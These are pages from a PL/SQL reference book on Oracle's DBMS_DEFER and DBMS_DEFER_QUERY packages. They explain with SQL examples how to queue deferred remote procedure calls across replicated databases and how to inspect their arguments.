ORA-23352 | -23352 | node_list_t contains duplicates

17.3.2.1.2 Restrictions

You can call the TRANSACTION procedure only in conjunction with DBMS_DEFER.CALL.

17.3.2.1.3 Example

At the end of the DBMS_DEFER section (in the COMMIT_ WORK subsection) is an example that incorporates the TRANSACTION procedure and the other DBMS_DEFER procedures.

17.3.2.2 The DBMS_DEFER.CALL procedure

The CALL procedure queues a call to the destination specified in the DEFDEFAULTDEST data dictionary view. Here is the specification:

PROCEDURE DBMS_DEFER.CALL
  (schema_name IN VARCHAR2,
   package_name IN VARCHAR2,
   proc_name IN VARCHAR2,
   arg_count IN NATURAL,
   {group_name IN VARCHAR2 := ''|
   nodes IN node_list_t});

Parameters are summarized in the following table.

Name | Description
package_name | Name of the package containing the procedure that is being queued.
proc_name | Name of the procedure being queued.
arg_count | Number of parameters being passed to the procedure. You must have one call to DBMS_DEFER.<datatype>_ARG for each parameter.
group_name | Optional. Reserved for internal use.
nodes | Optional. List of destination nodes (global_names) where the procedure is to be executed. If nodes is not specified, destinations are determined by the list passed to DBMS_DEFER.TRANSACTION.

17.3.2.2.1 Exceptions

The CALL procedure may raise the following exceptions:

Name | Number | Description
malformedcall | -23304 | Number of arguments in call does not match value of arg_count
ORA-23319 | -23319 | The parameter is either NULL, misspelled, or not allowed
ORA-23352 | -23352 | The nodes list contains a duplicate

17.3.2.2.2 Restrictions

The procedures used in deferred RPC calls must be part of a package; it is not possible to queue standalone procedures.

17.3.2.2.3 Example

At the end of the DBMS_DEFER section (in the COMMIT_WORK subsection) is an example that incorporates the CALL procedure and the other DBMS_DEFER procedures.

For an additional example, see the defcall.sql file on the companion disk. The example lists all entries in the deferred call queue (DEFCALL), including the originating database and the package name.

17.3.2.3 The DBMS_DEFER.COMMIT_WORK procedure

The COMMIT_WORK procedure issues a COMMIT command to commit the transaction constructed by the preceding TRANSACTION and CALL procedures. The specification is,

PROCEDURE DBMS_DEFER.COMMIT_WORK
   (commit_work_comment IN VARCHAR2);

where commit_work_comment is a description of the transaction. The comment may be up to 50 characters.

There are no restrictions on calling COMMIT_WORK.

17.3.2.3.1 Exceptions

The COMMIT_WORK procedure may raise the following exception:

Name | Number | Description
malformedcall | -23304 | Number of arguments in the CALL procedure does not match value arg_count; or missing calls to the <datatype>_ARG procedure, or the TRANSACTION procedure was not called for this transaction

17.3.2.3.2 Example:

The DBMS_DEFER.TRANSACTION, CALL, <datatype>_ARG, and COMMIT_WORK procedures work together to construct a deferred transaction or deferred RPC call, as described in the following examples.

17.3.2.3.3 Using DBMS_DEFER.TRANSACTION

To illustrate the way that you might use the TRANSACTION procedure, consider the following example. The schema SPROCKET has a package called PriceMaint, which contains procedure TenPctIncrease. This package exists at all sites in the DEFDEFAULTDEST data dictionary view. The TenPctIncrease procedure increases the wholesale and retail prices of products in our PRICES table by 10%.

CREATE OR REPLACE PACKAGE PriceMaint IS
        PROCEDURE TenPctIncrease;
END PriceMaint;
/
CREATE OR REPLACE PACKAGE BODY PriceMaint IS
    PROCEDURE TenPctIncrease IS
    BEGIN
            UPDATE  prices
            SET     price_wholesale	= price_wholesale * 1.10,
                    price_retail	  = price_retail * 1.10;
    END TenPctIncrease;
END PriceMaint;
    /
Now, suppose that we wish to make a 10% price increase at all of our locations (i.e., all locations in the DEFDEFAULTDEST data dictionary view). We could create a procedure that queues a call to PriceMaint.TenPctIncrease to all of these sites. In this case, we issue the TRANSACTION call without parameters:
CREATE OR REPLACE PROCEDURE TenPctPriceHike IS
BEGIN
    DBMS_DEFER.TRANSACTION;
    DBMS_DEFER.CALL(	schema_name	=> 'SPROCKET',
                package_name	=> 'PRICEMAINT',
                proc_name	=> 'TENPCTINCREASE'
                arg_count	=> 0 );
    DBMS_DEFER.COMMIT_WORK(commit_work_comment=>'No nodes or args needed');
END;
Because the nodes parameter isn't specified in either the call to TRANSACTION or the call to CALL, Oracle resolves the destinations by using all sites in the DEFDEFAULTDEST data dictionary view.
Here is how you might use the TenPctPriceHike Procedure.
Confirm the default destinations:
SQL> SELECT * FROM defdefaultdest;
DBLINK
--------------------
D7NY.BIGWHEEL.COM
D7OH.BIGWHEEL.COM
D7OR.BIGWHEEL.COM
D7WA.BIGWHEEL.COM
D7TX.BIGWHEEL.COM

5 rows selected.
Now use TenPctPriceHike to queue the RPC to all five destinations:
SQL> EXECUTE TenPctPriceHike

PL/SQL procedure successfully completed.

Figure 17-1 graphically illustrates how a deferred call is queued.
Figure 17.1: Queueing up a deferred call to TenPctIncrease

Now check the entries in DEFTRAN (this call was made from D7CA. BIGWHEEL.COM):
SQL> select * from deftrandest;

DEFERRED_TRAN_ID	DEFERRED_TRAN_DB	 DBLINK
----------------------	-----------------	 --------------------
2.44.13			D7CA.BIGWHEEL.COM	 D7NY.BIGWHEEL.COM
2.44.13			D7CA.BIGWHEEL.COM	 D7OH.BIGWHEEL.COM
2.44.13			D7CA.BIGWHEEL.COM	 D7OR.BIGWHEEL.COM
2.44.13			D7CA.BIGWHEEL.COM	 D7WA.BIGWHEEL.COM
2.44.13			D7CA.BIGWHEEL.COM	 D7TX.BIGWHEEL.COM

5 rows selected.
For an additional example, see the deftdest.sql file on the companion disk. The example queries the DEFTRANDEST data dictionary view and lists destination databases for deferred RPC calls.
NOTE: Procedure TenPctPriceHike queues the deferred RPC only if the owner of the procedure has EXECUTE privileges on DBMS_DEFER.
17.3.2.3.4 Specifying nondefault destinations with TRANSACTION
What if we wanted to apply the 10% price hike only to our West Coast sites (i.e., D7CA.BIGWHEEL.COM, D7OR.BIGWHEEL.COM, and D7WA.BIGWHEEL.COM)? The following example does just that by specifying the nodes parameter in the TRANSACTION procedure:
CREATE OR REPLACE PROCEDURE TenPctPriceHikeWest IS
vNodes DBMS_DEFER.NODE_LIST_T;
BEGIN
    vNodes(1) := 'D7CA.BIGWHEEL.COM';
    vNodes(2) := 'D7OR.BIGWHEEL.COM';
    vNodes(3) := 'D7WA.BIGWHEEL.COM';

    DBMS_DEFER.TRANSACTION( vNodes );
    DBMS_DEFER.CALL(	schema_name	=> 'SPROCKET',
                package_name	=> 'PRICEMAINT',
                proc_name	=> 'TENPCTINCREASE'
                arg_count	=> 0 );
    DBMS_DEFER.COMMIT_WORK(commit_work_comment=>'West Coast Price Hike');
END;
17.3.2.3.5 Committing deferred RPC calls with COMMIT_WORK
Notice that the last two examples include a call to DBMS_DEFER.COMMIT_WORK. All deferred RPCs queued with the CALL procedure must be followed by a call to COMMIT_WORK; an explicit COMMIT or COMMIT WORK is not sufficient. The reason for this restriction is that COMMIT_WORK not only commits the transaction, but also updates the commit_comment and delivery_order field in the DEFTRANS data dictionary view. The commit_comment is updated with the optional string passed to COMMIT_WORK, and the delivery_order field is updated with the transaction's SCN.
Remember that the TRANSACTION procedure is not required to queue deferred calls. It is used only to specify destinations. The real power and flexibility of deferred transactions is in the CALL procedure.
For an additional example, see the defcdest.sql file on the companion disk. The example queries the DEFCALLDEST data dictionary view and lists the destination databases of all calls in the deferred call queue.
17.3.3 Parameterized RPCs
The preceding sections describe the simple version of building deferred RPCs with the DBMS_DEFER package. We saw in those sections that the DBMS_DEFER.CALL procedure is the program that actually queues deferred RPCs. Most of the examples we have seen so far use it in its simplest incarnation, without the nodes parameter and with an arg_count parameter of 0. This is fine when making deferred calls to procedures that take no parameters, and when the default destinations are acceptable, but sooner or later you will want to defer calls to procedures that require parameters, and you will want to specify the destinations for each call individually. The steps to accomplish these more complex operations follow:
  1. Specify the destination nodes, either with DBMS_CALL.TRANSACTION or by supplying the nodes parameter to DBMS_DEFER.CALL.
  2. Execute DBMS_DEFER.CALL, supplying the schema name, package name, procedure name, number of arguments to the procedure, and (if you do not use DBMS_CALL.TRANSACTION) the nodes parameter.
  3. Call DBMS_DEFER.<datatype>_arg arg_count times, where arg_count is the value passed to DBMS_DEFER.CALL. The order in which you call DBMS_DEFER.<datatype>_arg must be the same order as the parameters are listed in the procedure definition.
  4. Call DBMS_DEFER.COMMIT_WORK with an optional comment.
17.3.3.1 The DBMS_DEFER.<datatype>_ARG procedure
This procedure specifies an argument for a deferred call. The argument is of the datatype specified in <datatype>. Here is the specification:
PROCEDURE DBMS_DEFER.<datatype>ARG (arg IN <datatype>.

 specifications differ for different datatypes, depending on whether you are using Oracle7 or Oracle8. <datatype> can be one of the following:
NUMBER
DATE
VARCHAR2
CHAR
ROWID
RAW
NVARCHAR2 (Oracle8 only)
ANY_VARCHAR2 (Oracle8 only)
NCHAR (Oracle8 only)
ANY_CHAR (Oracle8 only)
BLOB (Oracle8 only)
CLOB (Oracle8 only)
ANY_CLOB (Oracle8 only)
NCLOB (Oracle8 only)
The arg parameter is the value to pass to the parameter of the same datatype in the procedure previously queued via DBMS_DEFER.CALL.
The various alternatives are listed here.
The following specifications apply to both Oracle7 and Oracle8:
PROCEDURE NUMBER_ARG (arg IN NUMBER);
PROCEDURE DATE_ARG (arg IN DATE);
PROCEDURE VARCHAR2_ARG (arg IN VARCHAR2);
PROCEDURE CHAR_ARG (arg IN CHAR);
PROCEDURE ROWID_ARG (arg IN ROWID);
PROCEDURE RAW_ARG (arg IN raw);
These specifications apply only to Oracle8:
PROCEDURE NVARCHAR2_ARG (arg IN NVARCHAR2);
PROCEDURE ANY_VARCHAR2_ARG (arg  IN VARCHAR2 CHARACTER SET ANY_CS);
PROCEDURE NCHAR_ARG (arg IN NCHAR);
PROCEDURE ANY_CHAR_ARG (arg IN CHAR CHARACTER SET ANY_CS);
PROCEDURE BLOB_ARG (arg IN BLOB);
PROCEDURE CLOB_ARG (arg IN CLOB);
PROCEDURE ANY_CLOB_ARG (arg IN CLOB CHARACTER SET ANY_CS);
PROCEDURE NCLOB_ARG (arg IN NCLOB);
17.3.3.1.1 Exceptions
This procedure may raise the following exception:
Name | Number | Description
paramlen_num | -23323 | Parameter is too long
17.3.3.1.2 Example
The following scenario describes how to perform the steps required to construct a deferred RPC that takes parameters.
Suppose that we have a PRODUCTS table and a procedure that adds new products to it, as follows:
SQL> desc products
 Name			Null?	  		Type
 -------------------	-------- 		----
 PRODUCT_ID		NOT NULL 		NUMBER(9)
 PRODUCT_TYPE		NOT NULL 		NUMBER(6)
 CATALOG_ID	 	NOT NULL 		VARCHAR2(15)
 DESCRIPTION	 	NOT NULL 		VARCHAR2(30)
 REV_LEVEL 		NOT NULL 		VARCHAR2(15)
 PRODUCTION_DATE 	NOT NULL 		DATE
 PRODUCTION_STATUS 	NOT NULL 		VARCHAR2(10)
 AUDIT_DATE 		NOT NULL 		DATE
 AUDIT_USER 		NOT NULL 		VARCHAR2(30)
 GLOBAL_NAME 		NOT NULL 		VARCHAR2(20)
Procedure ProductMaint.AddProduct populates this table. We will queue deferred calls to the this procedure.
CREATE OR REPLACE PACKAGE ProductMaint IS
    PROCEDURE AddProduct(product_type_ININ NUMBER,
            catalog_id_IN	IN VARCHAR2,
            description_IN	IN VARCHAR2,
            rev_level_IN	IN VARCHAR2,
            production_date_ININ DATE,
            product_status_ININ VARCHAR);
END ProductMaint;
/
CREATE OR REPLACE PACKAGE BODY ProductMaint IS

PROCEDURE AddProduct(product_type_ININ NUMBER,
            catalog_id_IN		IN VARCHAR2,
            description_IN		IN VARCHAR2,
            rev_level_IN		IN VARCHAR2,
            production_date_IN	IN DATE,
            product_status_IN	IN VARCHAR) IS
BEGIN

    INSERT INTO products (product_id,
            product_type,
            catalog_id,
            description,
            rev_level,
            production_date,
            production_status,
            audit_date,
            audit_user,
            global_name )
    VALUES (seq_products.nextval,
        product_type_IN,
        catalog_id_IN,
        description_IN,
        rev_level_IN,
        production_date_IN,
        product_status_IN,
        SYSDATE,
        USER,
        DBMS_REPUTIL.GLOBAL_NAME);
END AddProduct;
END ProductMaint;
Since the procedure ProductMaint.AddProduct accepts parameters, we must supply values for these parameters when building a deferred call. The following procedure does just that:
CREATE OR REPLACE PROCEDURE qAddProduct IS
vNodes	DBMS_DEFER.NODE_LIST_T;
BEGIN
---------------------------------------------------------------------------
-- 1. Specify the nodes to which the deferred RPC call is to be queued.
---------------------------------------------------------------------------
    vNodes(1) := 'D7NY.BIGWHEEL.COM';
    vNodes(2) := 'D7OH.BIGWHEEL.COM';
    vNodes(3) := 'D7OR.BIGWHEEL.COM';
    vNodes(4) := 'D7WA.BIGWHEEL.COM';
    vNodes(5) := 'D7TX.BIGWHEEL.COM';

---------------------------------------------------------------------------
-- 2. Execute DBMS_DEFER.CALL, supplying the schema name, package name,
--    procedure name, number of arguments to the procedure, and (if you do
--    not use DBMS_CALL.TRANSACTION) the nodes parameter.
---------------------------------------------------------------------------

    DBMS_DEFER.CALL(schema_name	=> 'SPROCKET',
            package_name	=> 'PRODUCTMAINT',
            proc_name	=> 'AddProduct',
            arg_count	=> 6,
            nodes		=> vNodes );

---------------------------------------------------------------------------
-- 3. Call DBMS_DEFER.<datatype>_arg arg_count times, where arg_count is
--     the value passed to DBMS_DEFER.CALL.  The order in which you call
--     DBMS_DEFER.<datatype>_arg must be the same order as the parameters
--     are listed in the procedure definition.
---------------------------------------------------------------------------

    DBMS_DEFER.NUMBER_ARG( 10 );				     -- product_type
      DBMS_DEFER.VARCHAR2_ARG( 'BIKE-0018' );	             -- catalog_id
      DBMS_DEFER.VARCHAR2_ARG( 'Mens 18 Speed Racer');           -- Description
      DBMS_DEFER.VARCHAR2_ARG( '19971031-01' );	             -- Rev Level
      DBMS_DEFER.DATE_ARG(to_date('31-OCT-1997','DD-MON-YYYY')); --Date
      DBMS_DEFER.VARCHAR2_ARG( 'PLANNED' );	                     -- status

---------------------------------------------------------------------------
-- 4. Call DBMS_DEFER.COMMIT_WORK with an optional comment.
---------------------------------------------------------------------------
    DBMS_DEFER.COMMIT_WORK(commit_work_comment=>'5 Nodes, 6 args');
END;
Let's see what happens when we execute AddProduct:
SQL> execute qAddProduct

PL/SQL procedure successfully completed.
Note that even though this deferred RPC call is destined for five different databases, there is only one entry in DEFCALL:
SQL> SELECT		callno,
2  deferred_tran_db,
3  deferred_tran_id,
4  schemaname,
5  packagename,
6  procname,
7  argcount
8  FROM			defcall
9 /

               Deferred           Deferred
               Tran               Tran       Schema     Package     Procedure Arg
Call No        DB                 ID         Name       Name        Name      Count
------------   ------------------ --------------------- ----------- -------------
6631429922096  D7CA.BIGWHEEL.COM  2.125.13   SPROCKET   PRODUCTMAINTAddProduct6
The DEFTRANDEST data dictionary view, on the other hand, includes all of the destinations for this call:
 SQL>  SELECT	deferred_tran_id,
  2  	deferred_tran_db,
  3  	dblink
  4  FROM		deftrandest
  5  /
Deferred Deferred
Tran	 Tran
ID	 DB		       DB Link
-------- ------------------- --------------------
2.125.13 D7CA.BIGWHEEL.COM   D7NY.BIGWHEEL.COM
2.125.13 D7CA.BIGWHEEL.COM   D7OH.BIGWHEEL.COM
2.125.13 D7CA.BIGWHEEL.COM   D7OR.BIGWHEEL.COM
2.125.13 D7CA.BIGWHEEL.COM   D7WA.BIGWHEEL.COM
2.125.13 D7CA.BIGWHEEL.COM   D7TX.BIGWHEEL.COM

5 rows selected.
Previous: 17.2 DBMS_DEFER_SYS: Managing Deferred Transactions | Oracle Built-in Packages | Next: 17.4 DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance
17.2 DBMS_DEFER_SYS: Managing Deferred Transactions | Book Index | 17.4 DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance
  The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home

Oracle PL/SQL Programming, 2nd. Ed.

Guide to Oracle 8i Features

Oracle Built-in Packages

Advanced PL/SQL Programming with Packages

Oracle Web Applications

Oracle PL/SQL Language Pocket Reference

Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.4 DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

17.4 DBMS_DEFER_QUERY: Performing Diagnostics and Maintenance

Occasionally, you may want to see details about deferred RPCs in the queue, such as what procedure and parameters are used. The DBMS_DEFER_QUERY package contains procedures to display this data.

17.4.1 Getting Started with DBMS_DEFER_QUERY

The DBMS_REPCAT_QUERY package is created when the Oracle database is installed. The dbmsdefr.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtrctf.sql creates the public synonym DBMS_REPCAT_QUERY. No EXECUTE privileges are granted on DBMS_REPCAT_QUERY; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

17.4.1.1 DBMS_DEFER_QUERY programs

Table 17.14 lists the programs available in the DBMS_DEFER_QUERY package.

Table 17.14: DBMS_DEFER_QUERY Programs
Name | Description | Use in SQL?
GET_ARG_TYPE | Returns the type of a parameter in a deferred call | No
GET_CALL_ARGS | Returns information about parameters in text form | No
GET_<datatype>_ARG | Returns the value of a parameter whose type is <datatype>; values can be CHAR, DATE, NUMBER, RAW, ROWID, or VARCHAR2 | No

There are no exceptions defined for this package.

17.4.1.2 DBMS_DEFER_QUERY nonprogram elements

Table 17.15 lists the nonprogram elements defined for the DBMS_DEFER_QUERY package.

Table 17.15: DBMS_DEFER_QUERY Other Elements
Name/Type | Description
TYPE type_ary | Table of NUMBER
TYPE val_ary | Table of VARCHAR2(2000)

The PL/SQL tables type_ary and val_ary are both used in parameters to the procedure GET_CALL_ARGS; type_ary is an output array for RPC parameter datatypes and val_ary is an output array of the parameter values. Table 17.16 shows the mapping of numbers to datatypes in type_ary.

Table 17.16: Mapping Numbers to Datatypes
Datatype | Numeric Value in type_ary
BFILE (Oracle8 only) | 114
BLOB (Oracle8 only) | 113
CFIL (Oracle8 only) | 115
CHAR | 96
CFIL (Oracle8 only) | 112
DATE | 12
NUMBER | 2
RAW | 23
ROWID | 11
VARCHAR2 | 1

Before examining the details of the individual procedures, let's look at a basic example of how they are used. Suppose that we have queued a call to the ProductMaint.AddProduct procedure, as described in an earlier example.

 SQL> EXECUTE qAddProduct
PL/SQL procedure successfully completed.

We now have an entry in the DEFCALL data dictionary view:

  1  SELECT	callno,
  2  		deferred_tran_db,
  3  		deferred_tran_id,
  4  		schemaname,
  5  		packagename,
  6  		procname,
  7  		argcount
  8* FROM	defcall
SYSTEM@D7CA SQL> /

         Deferred          Deferred
         Tran              Tran         Schema    Package	  Procedure Arg
Call No      DB                ID           Name      Name	  Name	    Count
------------ ----------------- ------------ --------- ----------- ---------------
9929966326029D7CA.BIGWHEEL.COM 3.58.14      SPROCKET  PRODUCTMAINTAddProduct6

1 row selected.

Here we see that the procedure ProductMaint.AddProduct is queued, and that it has six parameters. To determine what these parameters are, first determine their data types with the GET_ARG_TYPE procedure, and then determine their values with GET_<datatype>_ARG. Alternatively, you can use GET_CALL_ARGS, which returns all the information in a single call. The examples in the following sections illustrate the use of each technique.

17.4.1.3 The DBMS_DEFER_QUERY.GET_ARG_TYPE function

You can use this function in conjunction with the GET_<datatype>_ARG or GET_CALL_ARGS functions to determine information about the deferred RPCs in the queue. GET_ARG_TYPE returns a number corresponding to the argument's datatype. Here is the specification for GET_ARG_TYPE:

FUNCTION DBMS_DEFER_QUEUE.GET_ARG_TYPE
   (callno IN NUMBER,
    deferred_tran_db IN VARCHAR2,
    arg_no IN  NUMBER,
    deferred_tran_id IN VARCHAR2)
RETURN NUMBER;

The following table shows the mapping of datatypes to return values.

Argument Datatype | GET_ARG_TYPE Return Code
BFIL (Oracle8 only) | 114
BLOB (Oracle8 only) | 113
CFIL (Oracle8 only) | 115
CHAR | 96
CFIL (Oracle8 only) | 112
DATE | 12
NUMBER | 2
RAW | 23
ROWID | 11
VARCHAR2 | 1

Notice that the datatypes here are limited to the Oracle-supplied datatypes; you cannot, for example, defer a call to a procedure that accepts a PL/SQL table as a parameter.

Parameters are summarized in the following table.

Name | Description
callno | The CALLNO of the RPC, as stored in the DEFCALL data dictionary view
deferred_tran_db | Global name of the database deferring the call (also stored in DEFCALL)
arg_no | The position of the argument in the RPC
deferred_tran_id | The deferred_tran_id for the call (also stored in DEFCALL)

There are no restrictions on calling GET_ARG_TYPE.

17.4.1.3.1 Exceptions

The GET_ARG_TYPE function may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -100 | Specified argument does not exist for specified RPC call

17.4.1.3.2 Example

This example shows how you use the GET_ARG_TYPE function to determine the datatypes of a queued call:

  1  DECLARE
  2	     vDataType NUMBER;
  3  BEGIN
  4	     vDataType := DBMS_DEFER_QUERY.GET_ARG_TYPE(
  5			 callno => 9929966326029,
  6			 deferred_tran_db => 'D7CA.BIGWHEEL.COM',
  7			 arg_no => 3,
  8			 deferred_tran_id => '3.58.14');
  9	     dbms_output.put_line('Datatype for arg 1 is '|| vDataType);
 10* END;
SYSTEM@D7CA SQL> /
Datatype for arg 3 is 1

PL/SQL procedure successfully completed.

Here we see that the third argument passed to ProductMaint.AddProduct is of type VARCHAR2. Now you can use the GET_VARCHAR2_ARG function (described in the next section) to determine the value passed.

  1  DECLARE
  2	     vArgValue VARCHAR2(80);
  3  BEGIN
  4	     vArgValue := DBMS_DEFER_QUERY.GET_VARCHAR2_ARG(
  5			 callno => 9929966326029,
  6			 deferred_tran_db => 'D7CA.BIGWHEEL.COM',
  7			 arg_no => 3,
  8			 deferred_tran_id => '3.58.14');
  9	     dbms_output.put_line('Argument 3 is '|| vArgValue);
 10* END;
SYSTEM@D7CA SQL> /
Argument 3 is Mens 18 Speed Racer

PL/SQL procedure successfully completed.

Here we see that the actual value passed was "Mens 18 Speed Racer."

17.4.1.4 The DBMS_DEFER_QUERY.GET_CALL_ARGS procedure

The GET_CALL_ARGS procedure allows you to obtain the datatypes and values for all arguments passed to a procedure in a single call. This is the easiest way to obtain information about the datatypes and values of all passed parameters. Here is the specification:

PROCEDURE DBMS_DEFER_QUERY.GET_CALL_ARGS
   (callno IN NUMBER,
    startarg IN NUMBER := 1,
    argcnt IN NUMBER,
    argsize IN NUMBER,
    tran_db IN VARCHAR2,
    tran_id IN VARCHAR2,
    date_fmt IN VARCHAR2,
    types OUT TYPE_ARY,
    vals OUT VAL_ARY);

Parameters are summarized in the following table.

Name | Description
callno | The CALLNO of the RPC as stored in the DEFCALL data dictionary view
start_arg | First argument to fetch
argcnt | Number of arguments to fetch
argsize | Largest size of a returned argument
tran_db | Global name of database deferring the call (also stored in DEFCALL)
tran_id | The deferred_tran_id parameter for the call (also stored in DEFCALL)
date_fmt | Date format mask
types | Output array for argument types
vals | Output array for argument values

There are no restrictions on calling the GET_CALL_ARGS procedure.

17.4.1.4.1 Exceptions

GET_CALL_ARGS may raise the following exception:

Name | Number | Description
NO_DATA_FOUND | -100 | Specified argument does not exist for specified RPC call

17.4.1.4.2 Example

The following example illustrates the use of the GET_CALL_ARGS procedure:

  1  DECLARE
  2	     vTypes DBMS_DEFER_QUERY.TYPE_ARY;
  3	     vVals  DBMS_DEFER_QUERY.VAL_ARY;
  4	     indx NUMBER;
  5  BEGIN
  6	     DBMS_DEFER_QUERY.GET_CALL_ARGS(
  7			 callno => 9929966326029,
  8			 startarg => 1,
  9			 argcnt => 6,
 10			 argsize => 128,
 11			 tran_db => 'D7CA.BIGWHEEL.COM',
 12			 tran_id => '3.58.14',
 13			 date_fmt => 'DD-Mon-YYYY hh24:MI:SS',
 14			 types => vTypes,
 15			 vals => vVals );
 16	     FOR indx IN 1..6 LOOP
 17		     dbms_output.put_line('Arg '|| indx || ': Datatype '||
 18			     vTypes(indx) || ' Value: '|| vVals(indx) );
 19	     END LOOP;
 20* END;
SYSTEM@D7CA SQL> /
Arg 1: Datatype 2 Value: 10
Arg 2: Datatype 1 Value: BIKE-0018
Arg 3: Datatype 1 Value: Mens 18 Speed Racer
Arg 4: Datatype 1 Value: 19971031-01
Arg 5: Datatype 12 Value: 31-Oct-1997 00:00:00
Arg 6: Datatype 1 Value: PLANNED

PL/SQL procedure successfully completed.

17.4.1.5 The DBMS_DEFER_QUERY.GET_<datatype>_ARG function

The GET_<datatype>_ARG function returns a value of a certain type (specified by <datatype>). The type of the returned value corresponds to the value of the argument specified by arg_no in the deferred RPC corresponding to callno.

There is one variant of the GET_<datatype>_ARG function for each of the Oracle-supplied datatypes. Here is the specification:

FUNCTION DBMS_DEFER_QUERY.GET_<datatype>_ARG
   (callno IN NUMBER,
   deferred_tran_db IN VARCHAR2
   arg_no IN NUMBER,
   deferred_tran_id IN VARCHAR2 DEFAULT NULL)
RETURN arg;

<datatype> can be one of the following:

CHAR
DATE
NUMBER
RAW
ROWID
VARCHAR2
NCHAR (Oracle8 only)
NVARCHAR2 (Oracle8 only)
BLOB (Oracle8 only)
CLOB (Oracle8 only)
NCLOB (Oracle8 only)

Therefore, any of the following are valid:

FUNCTION DBMS_DEFER_QUERY.GET_CHAR_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_DATE_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_NUMBER_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_RAW_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_ROWID_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_VARCHAR2_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_NCHAR_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_NVARCHAR2_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_BLOB_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_CLOB_ARG...
FUNCTION DBMS_DEFER_QUERY.GET_NCLOB_ARG...

Parameters have the same meanings described for the GET_ARG_TYPE procedure.

17.4.1.5.1 Exceptions

The GET_<datatype>_ARG function may raise the following exceptions:

Name | Number | Description
NO_DATA_FOUND | -100 | Specified argument does not exist for specified RPC call
WRONG_TYPE | -26564 | Specified argument is not of type <datatype>

17.4.1.5.2 Example

Assuming that argument number 3 in the deferred call has CALLNO = 8 and DEFERRED_TRAN_ID = 45.12.3 in the DEFCALL data dictionary view is of type CHAR, follow these steps to determine the argument's value:

VARIABLE vChar	 CHAR;

BEGIN
    vChar := DBMS_QUERY.GET_CHAR_ARG(callno => 8,
                    deferred_tran_db	=> 'D8CA.BIGWHEEL.COM',
                    arg_no => 3,
                    deferred_tran_id => 45.12.3);
END;
/

Previous: 17.3 DBMS_DEFER: Building Deferred Calls | Oracle Built-in Packages | Next: A. What's on the Companion Disk?
17.3 DBMS_DEFER: Building Deferred Calls | Book Index | A. What's on the Companion Disk?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle Built-in Packages

By Steven Feuerstein, Charles Dye & John Beresniewicz; ISBN 1-56592-375-8E
First Edition, published 1998-04-01.
(See the catalog page for this book.)

Search the text of Oracle Built-in Packages.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Table of Contents

Dedication
Preface

Part I: Overview

Chapter 1: Introduction

Part II: Application Development Packages

Chapter 2: Executing Dynamic SQL and PL/SQL
Chapter 3: Intersession Communication
Chapter 4: User Lock and Transaction Management
Chapter 5: Oracle Advanced Queuing
Chapter 6: Generating Output from PL/SQL Programs
Chapter 7: Defining an Application Profile
Chapter 8: Managing Large Objects
Chapter 9: Datatype Packages
Chapter 10: Miscellaneous Packages

Part III: Server Management Packages

Chapter 11: Managing Session Information
Chapter 12: Managing Server Resources
Chapter 13: Job Scheduling in the Database

Part IV: Distributed Database Packages

Chapter 14: Snapshots
Chapter 15: Advanced Replication
Chapter 16: Conflict Resolution
Chapter 17: Deferred Transactions and Remote Procedure Calls

Appendix A: What's on the Companion Disk?

The Oracle PL/SQL CD Bookshelf Navigation

Copyright © 2000 O'Reilly & Associates. All Rights Reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part I] Overview

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: Acknowledgments Part I Next: 1. Introduction

Part I: Overview

This part of the book contains a single chapter that introduces the built-in packages and provides some quick-reference tools to help you use the remainder of the book. Chapter 1, Introduction, introduces you to PL/SQL packages generally and to built-in packages specifically. It shows you how to call packaged code from your own programs and includes tips for handling the exceptions raised when you call a packaged program.

Chapter 1: Introduction

Previous: Acknowledgments | Oracle Built-in Packages | Next: 1. Introduction
Acknowledgments | Book Index | 1. Introduction
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Part II] Application Development Packages

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 1.4 Examining Built-in Package Source Code Part II Next: 2. Executing Dynamic SQL and PL/SQL

Part II: Application Development Packages

This part of the book describes the built-in application development packages:

  • Chapter 2, Executing Dynamic SQL and PL/SQL, shows you how to use the DBMS_SQL package to construct and execute SQL statements and PL/SQL blocks at runtime.

  • Chapter 3, Intersession Communication, shows you how to use DBMS_PIPE and DBMS_ALERT to communicate information between different Oracle sessions. You can also use DBMS_PIPE to communicate with processes external to Oracle.

  • Chapter 4, User Lock and Transaction Management, introduces DBMS_LOCK, a handy but rarely used package that interfaces to the Oracle lock manager, and DBMS_TRANSACTION, which offers several programs that affect transaction behavior in your PL/SQL program.

